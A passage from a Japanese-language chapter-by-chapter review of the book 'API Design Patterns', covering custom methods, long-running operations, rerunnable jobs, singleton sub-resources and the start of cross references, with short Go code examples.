retrievals」は、APIにおける部分的な更新と取得の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。部分的な更新と取得は、大規模なリソースや制限のあるクライアント環境で特に重要です。フィールドマスクは、部分的な更新と取得を実現するための強力なツールです。適切な実装は、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させます。フィールドマスクの使用は、APIの柔軟性と拡張性を大幅に向上させます。部分的な更新と取得の実装には、一貫性、パフォーマンス、バージョニング、セキュリティなどの課題があり、これらを適切に考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、部分的な更新と取得の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。部分的な更新と取得の適切な実装は、将来的な拡張性を確保し、予期せぬパフォーマンス問題や互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より効率的で柔軟性の高いシステムを構築することができるでしょう。9 Custom methods「API Design Patterns」の第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はカスタムメソッドが単なる追加機能ではなく、APIの柔軟性、表現力、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。カスタムメソッドの必要性と動機著者は、標準メソッドだけでは対応できないシナリオが存在することから議論を始めています。例えば、電子メールの送信やテキストの翻訳のような特定のアクションをAPIでどのように表現するべきかという問題を提起しています。これらのアクションは、標準的なCRUD操作(Create, Read, Update, Delete)には簡単に当てはまらず、かつ重要な副作用を伴う可能性があります。この問題は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスが提供する機能が複雑化し、標準的なRESTful操作だけではカバーしきれないケースが増えています。例えば、ある特定の条件下でのみ実行可能な操作や、複数のリソースに跨がる操作などが該当します。著者は、このような状況に対処するためのソリューションとしてカスタムメソッドを提案しています。カスタムメソッドは、標準メソッドの制約を超えて、APIに特化した操作を実現する手段となります。カスタムメソッドの実装カスタムメソッドの実装に関して、著者はいくつかの重要なポイントを強調しています。HTTP メソッドの選択: カスタムメソッドはほとんどの場合、POSTメソッドを使用します。これは、POSTがリソースの状態を変更する操作に適しているためです。URL構造: カスタムメソッドのURLは、標準的なリソースパスの後にコロン(:)を使用して、カスタムアクションを示します。例えば、POST /rockets/1234:launchのような形式です。命名規則: カスタムメソッドの名前は、標準メソッドと同様に動詞+名詞の形式を取るべきです。例えば、LaunchRocketやSendEmailなどです。これらの規則は、APIの一貫性と予測可能性を維持する上で重要です。特に、大規模なシステムや長期的に運用されるAPIにおいて、この一貫性は開発者の生産性と学習曲線に大きな影響を与えます。著者が提示する実装例を、Golangを用いて具体化すると以下のようになります。type RocketAPI interface { LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error)}type LaunchRocketRequest struct { ID string `json:\\"id\\"`}func (s *rocketService) LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error) { // カスタムロジックの実装 // 例: ロケットの状態チェック、打ち上げシーケンスの開始など}このような実装により、標準的なCRUD操作では表現しきれない複雑なビジネスロジックを、明確で直感的なAPIインターフェースとして提供することが可能になります。副作用の取り扱いカスタムメソッドの重要な特徴の一つとして、著者は副作用の許容を挙げています。標準メソッドが基本的にリソースの状態変更のみを行うのに対し、カスタムメソッドはより広範な操作を行うことができます。例えば、メールの送信、バックグラウンドジョブの開始、複数リソースの更新などです。この特性は、システムの設計と運用に大きな影響を与えます。副作用を伴う操作は、システムの一貫性や信頼性に影響を与える可能性があるため、慎重に設計する必要があります。例えば、トランザクション管理、エラーハンドリング、リトライメカニズムなどを考慮する必要があります。著者が提示する電子メール送信の例は、この点を明確に示しています。メールの送信操作は、データベースの更新だけでなく、外部のSMTPサーバーとの通信も含みます。このような複合的な操作をカスタムメソッドとして実装することで、操作の意図を明確に表現し、同時に必要な副作用を適切に管理することができます。リソースvs.コレクション著者は、カスタムメソッドを個々のリソースに適用するか、リソースのコレクションに適用するかという選択についても論じています。この選択は、操作の性質と影響範囲に基づいて行われるべきです。例えば、単一のメールを送信する操作は個々のリソースに対するカスタムメソッドとして実装される一方で、複数のメールをエクスポートする操作はコレクションに対するカスタムメソッドとして実装されるべきです。この区別は、APIの論理的構造と使いやすさに直接影響します。適切に設計されたカスタムメソッドは、複雑な操作を直感的なインターフェースで提供し、クライアント側の実装を簡素化します。ステートレスカスタムメソッド著者は、ステートレスなカスタムメソッドについても言及しています。これらは、永続的な状態変更を伴わず、主に計算や検証を行うメソッドです。例えば、テキスト翻訳やメールアドレスの検証などが該当します。ステートレスメソッドは、特にデータプライバシーやセキュリティの要件が厳しい環境で有用です。例えば、GDPR(一般データ保護規則)のようなデータ保護規制に対応する必要がある場合、データを永続化せずに処理できるステートレスメソッドは有効なソリューションとなります。しかし、著者は完全にステートレスなアプローチの限界についても警告しています。多くの場合、将来的にはある程度の状態管理が必要になる可能性があるため、完全にステートレスな設計に固執することは避けるべきだと指摘しています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。柔軟性と表現力: カスタムメソッドを適切に使用することで、APIの柔軟性と表現力が大幅に向上します。複雑なビジネスロジックや特殊なユースケースを、直感的で使いやすいインターフェースとして提供することが可能になります。マイクロサービスアーキテクチャとの親和性: カスタムメソッドは、マイクロサービスアーキテクチャにおいて特に有用です。各サービスが提供する特殊な機能や、サービス間の複雑な相互作用を表現するのに適しています。運用性と可観測性: カスタムメソッドの導入は、システムの運用性と可観測性に影響を与えます。副作用を伴う操作や、複雑な処理フローを含むカスタムメソッドは、適切なログ記録、モニタリング、トレーシングの実装が不可欠です。バージョニングと後方互換性: カスタムメソッドの追加や変更は、APIのバージョニング戦略に影響を与えます。新しいカスタムメソッドの導入や既存メソッドの変更を行う際は、後方互換性の維持に注意を払う必要があります。セキュリティの考慮: カスタムメソッド、特に副作用を伴うものは、適切なアクセス制御と認可チェックが必要です。また、ステートレスメソッドを使用する場合でも、入力データの検証やサニタイズは不可欠です。パフォーマンスとスケーラビリティ: カスタムメソッドの実装は、システムのパフォーマンスとスケーラビリティに影響を与える可能性があります。特に、複雑な処理や外部サービスとの連携を含むメソッドは、適切なパフォーマンスチューニングとスケーリング戦略が必要になります。結論第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、表現力、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。カスタムメソッドは、標準メソッドでは適切に表現できない複雑な操作や特殊なユースケースに対応するための強力なツールです。カスタムメソッドの設計と実装には、一貫性のある命名規則とURL構造の使用が重要です。副作用を伴うカスタムメソッドの使用は慎重に行い、適切な管理と文書化が必要です。リソースとコレクションに対するカスタムメソッドの適用は、操作の性質に基づいて適切に選択する必要があります。ステートレスなカスタムメソッドは有用ですが、将来的な拡張性を考慮して設計する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、カスタムメソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なカスタムメソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。カスタムメソッドの適切な実装は、将来的な拡張性を確保し、予期せぬ要件変更や新機能の追加にも柔軟に対応できるAPIを実現します。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。10 Long-running operations「API Design Patterns」の第10章「Long-running operations」は、APIにおける長時間実行操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は長時間実行操作(LRO)が単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。長時間実行操作の必要性と概要著者は、APIにおける長時間実行操作の必要性から議論を始めています。多くのAPI呼び出しは数百ミリ秒以内に処理されますが、データ処理や外部サービスとの連携など、時間のかかる操作も存在します。これらの操作を同期的に処理すると、クライアントの待ち時間が長くなり、リソースの無駄遣いにつながる可能性があります。長時間実行操作の概念は、プログラミング言語におけるPromiseやFutureと類似しています。APIの文脈では、これらの操作は「Long-running Operations」(LRO)と呼ばれ、非同期処理を可能にします。LROは、操作の進行状況を追跡し、最終的な結果を取得するためのメカニズムを提供します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、一つの操作が複数のサービスにまたがって実行される可能性があり、その全体の進行状況を追跡する必要があります。著者は、LROの基本的な構造として以下の要素を提案しています。一意の識別子操作の状態(実行中、完了、エラーなど)結果または発生したエラーの情報進行状況や追加のメタデータこれらの要素を含むLROは、APIリソースとして扱われ、クライアントはこのリソースを通じて操作の状態を確認し、結果を取得することができます。LROの実装LROの実装に関して、著者はいくつかの重要なポイントを強調しています。リソースとしてのLRO: LROは通常のAPIリソースとして扱われ、一意の識別子を持ちます。これにより、クライアントは操作の状態を簡単に追跡できます。ジェネリックな設計: LROインターフェースは、さまざまな種類の操作に対応できるように、結果の型とメタデータの型をパラメータ化します。ステータス管理: 操作の状態(実行中、完了、エラーなど)を明確に表現する必要があります。エラーハンドリング: 操作が失敗した場合のエラー情報を適切に提供する必要があります。進行状況の追跡: 長時間実行操作の進行状況を追跡し、クライアントに提供するメカニズムが必要です。これらの要素を考慮したLROの基本的な構造を、Golangを用いて表現すると以下のようになります。type Operation struct { ID string `json:\\"id\\"` Done bool `json:\\"done\\"` Result interface{} `json:\\"result,omitempty\\"` Error *ErrorInfo `json:\\"error,omitempty\\"` Metadata interface{} `json:\\"metadata,omitempty\\"`}type ErrorInfo struct { Code int `json:\\"code\\"` Message string `json:\\"message\\"` Details map[string]interface{} `json:\\"details,omitempty\\"`}この構造により、APIは長時間実行操作の状態を効果的に表現し、クライアントに必要な情報を提供することができます。LROの状態管理と結果の取得著者は、LROの状態を管理し、結果を取得するための2つの主要なアプローチを提案しています。ポーリングと待機です。ポーリング: クライアントが定期的にLROの状態を確認する方法です。これは実装が簡単ですが、不必要なAPI呼び出しが発生する可能性があります。待機: クライアントがLROの完了を待つ長期接続を確立する方法です。これはリアルタイム性が高いですが、サーバー側のリソース管理が複雑になる可能性があります。これらのアプローチを実装する際、著者は以下のAPIメソッドを提案しています。GetOperation: LROの現在の状態を取得します。ListOperations: 複数のLROをリストアップします。WaitOperation: LROの完了を待機します。これらのメソッドを適切に実装することで、クライアントは長時間実行操作の進行状況を効果的に追跡し、結果を取得することができます。LROの制御と管理著者は、LROをより柔軟に管理するための追加機能についても論じています。キャンセル: 実行中の操作を中止する機能です。これは、不要になった操作やエラーが発生した操作を適切に終了させるために重要です。一時停止と再開: 一部の操作では、一時的に処理を停止し、後で再開する機能が有用な場合があります。有効期限: LROリソースをいつまで保持するかを決定するメカニズムです。これは、システムリソースの効率的な管理に役立ちます。これらの機能を実装することで、APIの柔軟性と運用性が向上します。例えば、キャンセル機能は以下のように実装できます。func (s *Service) CancelOperation(ctx context.Context, req *CancelOperationRequest) (*Operation, error) { op, err := s.GetOperation(ctx, &GetOperationRequest{Name: req.Name}) if err != nil { return nil, err } if op.Done { return op, nil } // 操作をキャンセルするロジック // ... op.Done = true op.Error = &ErrorInfo{ Code: int(codes.Cancelled), Message: \\"Operation cancelled by the user.\\", } return s.UpdateOperation(ctx, op)}実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: LROを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。信頼性とエラー処理: LROパターンは、長時間実行操作中に発生する可能性のあるエラーを適切に処理し、クライアントに伝達するメカニズムを提供します。これにより、システム全体の信頼性が向上します。運用性と可観測性: LROリソースを通じて操作の進行状況や状態を追跡できることは、システムの運用性と可観測性を大幅に向上させます。これは、複雑な分散システムの問題診断や性能最適化に特に有用です。ユーザーエクスペリエンス: クライアントに進行状況を提供し、長時間操作をキャンセルする機能を提供することで、APIのユーザーエクスペリエンスが向上します。リソース管理: LROの有効期限を適切に設定することで、システムリソースを効率的に管理できます。これは、大規模なシステムの長期的な運用において特に重要です。結論第10章「Long-running operations」は、APIにおける長時間実行操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。LROは、長時間実行操作を非同期で処理するための強力なツールです。LROをAPIリソースとして扱うことで、操作の状態管理と結果の取得が容易になります。ポーリングと待機の両方のアプローチを提供することで、さまざまなクライアントのニーズに対応できます。キャンセル、一時停止、再開などの制御機能を提供することで、APIの柔軟性が向上します。LROリソースの適切な有効期限管理は、システムリソースの効率的な利用につながります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、LROの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なLROの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。LROの適切な実装は、複雑な分散システムにおける非同期処理の管理を容易にし、システム全体の信頼性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。11 Rerunnable jobs「API Design Patterns」の第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は再実行可能なジョブが単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。Figure 11.1 Interaction with a Job resource より引用再実行可能なジョブの必要性と概要著者は、再実行可能なジョブの必要性から議論を始めています。多くのAPIでは、カスタマイズ可能で繰り返し実行する必要のある機能が存在します。しかし、従来のAPIデザインでは、これらの機能を効率的に管理することが困難でした。著者は、この問題に対処するために「ジョブ」という概念を導入しています。ジョブは、APIメソッドの設定と実行を分離する特別なリソースとして定義されています。この分離には以下の利点があります。設定の永続化:ジョブの設定をAPIサーバー側で保存できるため、クライアントは毎回詳細な設定を提供する必要がありません。権限の分離:ジョブの設定と実行に異なる権限を設定できるため、セキュリティとアクセス制御が向上します。スケジューリングの容易さ:ジョブをAPIサーバー側でスケジュールすることが可能になり、クライアント側での複雑なスケジューリング管理が不要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、定期的なデータ処理やバックアップなどの操作を効率的に管理する必要があります。再実行可能なジョブを使用することで、これらの操作を一貫した方法で設計し、実行することができます。この辺の再実行性について包括的に知りたいのであればCloud Native Go, 2nd Editionやデータ指向アプリケーションデザイン ―信頼性、拡張性、保守性の高い分散システム設計の原理などが良いのでオススメです。learning.oreilly.com著者は、ジョブの基本的な構造として以下の要素を提案しています。ジョブリソース:設定情報を保持するリソース実行メソッド:ジョブを実行するためのカスタムメソッド実行リソース:ジョブの実行結果を保持するリソース(必要な場合)これらの要素を組み合わせることで、APIは柔軟で再利用可能なジョブ管理システムを提供することができます。Figure 11.2 Interaction with a Job resource with Execution results より引用ジョブリソースの実装著者は、ジョブリソースの実装に関して詳細なガイダンスを提供しています。ジョブリソースは、通常のAPIリソースと同様に扱われますが、その目的は特定の操作の設定を保存することです。ジョブリソースの主な特徴は以下の通りです。一意の識別子:他のリソースと同様に、ジョブリソースも一意の識別子を持ちます。設定パラメータ:ジョブの実行に必要な全ての設定情報を保持します。標準的なCRUD操作:ジョブリソースは作成、読み取り、更新、削除の標準的な操作をサポートします。著者は、チャットルームのバックアップを例にとって、ジョブリソースの設計を説明しています。以下は、Golangを用いてこのジョブリソースを表現した例です。type BackupChatRoomJob struct { ID string `json:\\"id\\"` ChatRoomID string `json:\\"chatRoomId\\"` Destination string `json:\\"destination\\"` CompressionFormat string `json:\\"compressionFormat\\"` EncryptionKey string `json:\\"encryptionKey\\"`}このような設計により、ジョブの設定を永続化し、必要に応じて再利用することが可能になります。また、異なる権限レベルを持つユーザーがジョブの設定と実行を別々に管理できるようになります。ジョブの実行とLRO著者は、ジョブの実行方法についても詳細に説明しています。ジョブの実行は、カスタムメソッド(通常は「run」メソッド)を通じて行われます。このメソッドは、長時間実行操作(LRO)を返すことで、非同期実行をサポートします。以下は、Golangを用いてジョブ実行メソッドを表現した例です。func (s *Service) RunBackupChatRoomJob(ctx context.Context, req *RunBackupChatRoomJobRequest) (*Operation, error) { job, err := s.GetBackupChatRoomJob(ctx, req.JobID) if err != nil { return nil, err } op := &Operation{ Name: fmt.Sprintf(\\"operations/backup_%s\\", job.ID), Metadata: &BackupChatRoomJobMetadata{ JobID: job.ID, Status: \\"RUNNING\\", }, } go s.executeBackupJob(job, op) return op, nil}このアプローチには以下の利点があります。非同期実行:長時間かかる可能性のある操作を非同期で実行できます。進捗追跡:LROを通じて、ジョブの進捗状況を追跡できます。エラーハンドリング:LROを使用することで、ジョブ実行中のエラーを適切に処理し、クライアントに伝達できます。実行リソースの導入著者は、ジョブの実行結果を永続化するための「実行リソース」の概念を導入しています。これは、LROの有効期限が限定される可能性がある場合に特に重要です。実行リソースの主な特徴は以下の通りです。読み取り専用:実行リソースは、ジョブの実行結果を表すため、通常は読み取り専用です。ジョブとの関連付け:各実行リソースは、特定のジョブリソースに関連付けられます。結果の永続化:ジョブの実行結果を長期的に保存し、後で参照することができます。以下は、Golangを用いて実行リソースを表現した例です。type AnalyzeChatRoomJobExecution struct { ID string `json:\\"id\\"` JobID string `json:\\"jobId\\"` ExecutionTime time.Time `json:\\"executionTime\\"` SentenceComplexity float64 `json:\\"sentenceComplexity\\"` Sentiment float64 `json:\\"sentiment\\"` AbuseScore float64 `json:\\"abuseScore\\"`}実行リソースを導入することで、ジョブの実行履歴を管理し、結果を長期的に保存することが可能になります。これは、データ分析や監査の目的で特に有用です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 再実行可能なジョブを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行される操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。運用性と可観測性: ジョブリソースと実行リソースを導入することで、システムの運用性と可観測性が向上します。ジョブの設定、実行状況、結果を一元的に管理できるため、問題の診断や性能最適化が容易になります。セキュリティとアクセス制御: ジョブの設定と実行を分離することで、より細かいアクセス制御が可能になります。これは、大規模な組織や複雑なシステムにおいて特に重要です。バージョニングと後方互換性: ジョブリソースを使用することで、APIの進化に伴う変更を管理しやすくなります。新しいパラメータや機能を追加する際も、既存のジョブとの互換性を維持しやすくなります。スケジューリングと自動化: 再実行可能なジョブは、定期的なタスクやバッチ処理の自動化に適しています。これは、データ処理パイプラインやレポート生成などのシナリオで特に有用です。結論第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ジョブリソースを導入することで、設定と実行を分離し、再利用性を高めることができます。カスタムの実行メソッドとLROを組み合わせることで、非同期実行と進捗追跡を実現できます。実行リソースを使用することで、ジョブの結果を永続化し、長期的な分析や監査を可能にします。この設計パターンは、セキュリティ、スケーラビリティ、運用性の向上に貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、再実行可能なジョブの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なジョブ設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。再実行可能なジョブの適切な実装は、複雑なワークフローの管理を容易にし、システム全体の柔軟性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 4 Resource relationshipsここでは、APIにおけるリソース間の関係性の表現方法について詳しく解説されています。シングルトンサブリソース、クロスリファレンス、関連リソース、ポリモーフィズムなど、複雑なデータ構造や関係性を APIで表現するための高度なテクニックが紹介されています。これらのパターンを理解し適切に適用することで、より柔軟で表現力豊かなAPIを設計することができます。12 Singleton sub-resources「API Design Patterns」の第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はシングルトンサブリソースが単なる設計上の選択ではなく、APIの柔軟性、スケーラビリティ、そして長期的な保守性に直接影響を与える重要な設計パターンであることを明確に示しています。シングルトンサブリソースの必要性と概要著者は、シングルトンサブリソースの必要性から議論を始めています。多くのAPIでは、リソースの一部のデータを独立して管理する必要が生じることがあります。例えば、アクセス制御リスト(ACL)のような大規模なデータ、頻繁に更新される位置情報、または特別なセキュリティ要件を持つデータなどが該当します。これらのデータを主リソースから分離することで、APIの効率性と柔軟性を向上させることができます。シングルトンサブリソースは、リソースのプロパティとサブリソースの中間的な存在として定義されています。著者は、この概念を以下のように説明しています。親リソースに従属:シングルトンサブリソースは常に親リソースに関連付けられます。単一インスタンス:各親リソースに対して、特定のタイプのシングルトンサブリソースは1つしか存在しません。独立した管理:シングルトンサブリソースは、親リソースとは別に取得や更新が可能です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービスと位置情報サービスを分離しつつ、両者の関連性を維持したい場合に、シングルトンサブリソースが有効です。シングルトンサブリソースの実装著者は、シングルトンサブリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの制限: シングルトンサブリソースは、通常のリソースとは異なり、標準のCRUD操作の一部のみをサポートします。具体的には、Get(取得)とUpdate(更新)のみが許可されます。暗黙的な作成と削除: シングルトンサブリソースは親リソースの作成時に自動的に作成され、親リソースの削除時に自動的に削除されます。リセット機能: 著者は、シングルトンサブリソースを初期状態にリセットするためのカスタムメソッドの実装を推奨しています。階層構造: シングルトンサブリソースは常に親リソースの直下に位置し、他のシングルトンサブリソースの子になることはありません。これらの原則を適用することで、APIの一貫性と予測可能性を維持しつつ、特定のデータを効率的に管理することができます。以下は、Golangを用いてシングルトンサブリソースを実装する例です。type Driver struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` LicensePlate string `json:\\"licensePlate\\"`}type DriverLocation struct { ID string `json:\\"id\\"` DriverID string `json:\\"driverId\\"` Latitude float64 `json:\\"latitude\\"` Longitude float64 `json:\\"longitude\\"` UpdatedAt time.Time `json:\\"updatedAt\\"`}type DriverService interface { GetDriver(ctx context.Context, id string) (*Driver, error) UpdateDriver(ctx context.Context, driver *Driver) error GetDriverLocation(ctx context.Context, driverID string) (*DriverLocation, error) UpdateDriverLocation(ctx context.Context, location *DriverLocation) error ResetDriverLocation(ctx context.Context, driverID string) error}この例では、DriverリソースとDriverLocationシングルトンサブリソースを定義しています。DriverServiceインターフェースは、これらのリソースに対する操作を定義しています。シングルトンサブリソースの利点と課題著者は、シングルトンサブリソースの利点と課題について詳細に論じています。利点:データの分離: 頻繁に更新されるデータや大量のデータを分離することで、主リソースの管理が容易になります。細粒度のアクセス制御: 特定のデータに対して、より詳細なアクセス制御を実装できます。パフォーマンスの向上: 必要なデータのみを取得・更新することで、APIのパフォーマンスが向上します。課題:原子性の欠如: 親リソースとサブリソースを同時に更新することができないため、データの一貫性を維持するための追加の作業が必要になる場合があります。複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。これらの利点と課題を考慮しながら、シングルトンサブリソースの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: シングルトンサブリソースを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。特に、大規模なデータや頻繁に更新されるデータを扱う場合に有効です。セキュリティとアクセス制御: シングルトンサブリソースを使用することで、特定のデータに対してより細かいアクセス制御を実装できます。これは、セキュリティ要件が厳しい環境で特に重要です。システムの進化: シングルトンサブリソースパターンを採用することで、システムの将来的な拡張や変更が容易になります。新しい要件が発生した際に、既存のリソース構造を大きく変更することなく、新しいサブリソースを追加できます。マイクロサービスアーキテクチャとの親和性: シングルトンサブリソースの概念は、マイクロサービスアーキテクチャにおいてサービス間の境界を定義する際に特に有用です。例えば、ユーザープロファイルサービスと位置情報サービスを分離しつつ、両者の関連性を維持することができます。運用性と可観測性: シングルトンサブリソースを使用することで、特定のデータの変更履歴や更新頻度を独立して追跡しやすくなります。これにより、システムの運用性と可観測性が向上します。結論第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。シングルトンサブリソースは、特定のデータを親リソースから分離しつつ、強い関連性を維持する効果的な方法です。Get(取得)とUpdate(更新)のみをサポートし、作成と削除は親リソースに依存します。シングルトンサブリソースは、大規模データ、頻繁に更新されるデータ、特別なセキュリティ要件を持つデータの管理に特に有効です。このパターンを採用する際は、データの一貫性維持やAPI複雑性の増加といった課題にも注意を払う必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、シングルトンサブリソースの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。シングルトンサブリソースの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。13 Cross references「API Design Patterns」の第13章「Cross references」は、APIにおけるリソース間の参照の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソース間の参照が単なる技術的な実装の詳細ではなく、APIの柔軟性、一貫性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。リソース間参照の必要性と概要著者は、リソース間参照の必要性から議論を始めています。多くのAPIでは、複数のリソースタイプが存在し、これらのリソース間に関連性がある場合が多々あります。例えば、書籍リソースと著者リソースの関係などが挙げられます。これらの関連性を適切に表現し、管理することが、APIの使いやすさと柔軟性を向上させる上で重要です。著者は、リソース間参照の範囲について、以下のように分類しています。ローカル参照:同じAPI内の他のリソースへの参照グローバル参照:インターネット上の他のリソースへの参照中間的参照:同じプロバイダーが提供する異なるAPI内のリソースへの参照この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 13.1 Resources can point at others in the same API or in external APIs. より引用この図は、リソースが同じAPI内の他のリソース、外部APIのリソース、そしてインターネット上の任意のリソースを参照できることを示しています。これは、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービス、注文サービス、支払いサービスなど、複数のマイクロサービス間でリソースを相互参照する必要がある場合に、この概念が適用されます。著者は、リソース間参照の基本的な実装として、文字列型の一意識別子を使用することを提案しています。これにより、同じAPI内のリソース、異なるAPIのリソース、さらにはインターネット上の任意のリソースを統一的に参照することが可能になります。リソース間参照の実装著者は、リソース間参照の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。参照フィールドの命名: 著者は、参照フィールドの名前に「Id」サフィックスを付けることを推奨しています。例えば、BookリソースがAuthorリソースを参照する場合、参照フィールドはauthorIdと命名します。これにより、フィールドの目的が明確になり、APIの一貫性が向上します。動的リソースタイプの参照: 参照先のリソースタイプが動的に変化する場合、著者は追加のtypeフィールドを使用することを提案しています。これにより、異なるタイプのリソースを柔軟に参照できます。データ整合性: 著者は、参照の整合性(つまり、参照先のリソースが常に存在することを保証すること)を維持することの難しさを指摘しています。代わりに、APIクライアントが参照の有効性を確認する責任を負うアプローチを提案しています。値vs参照: 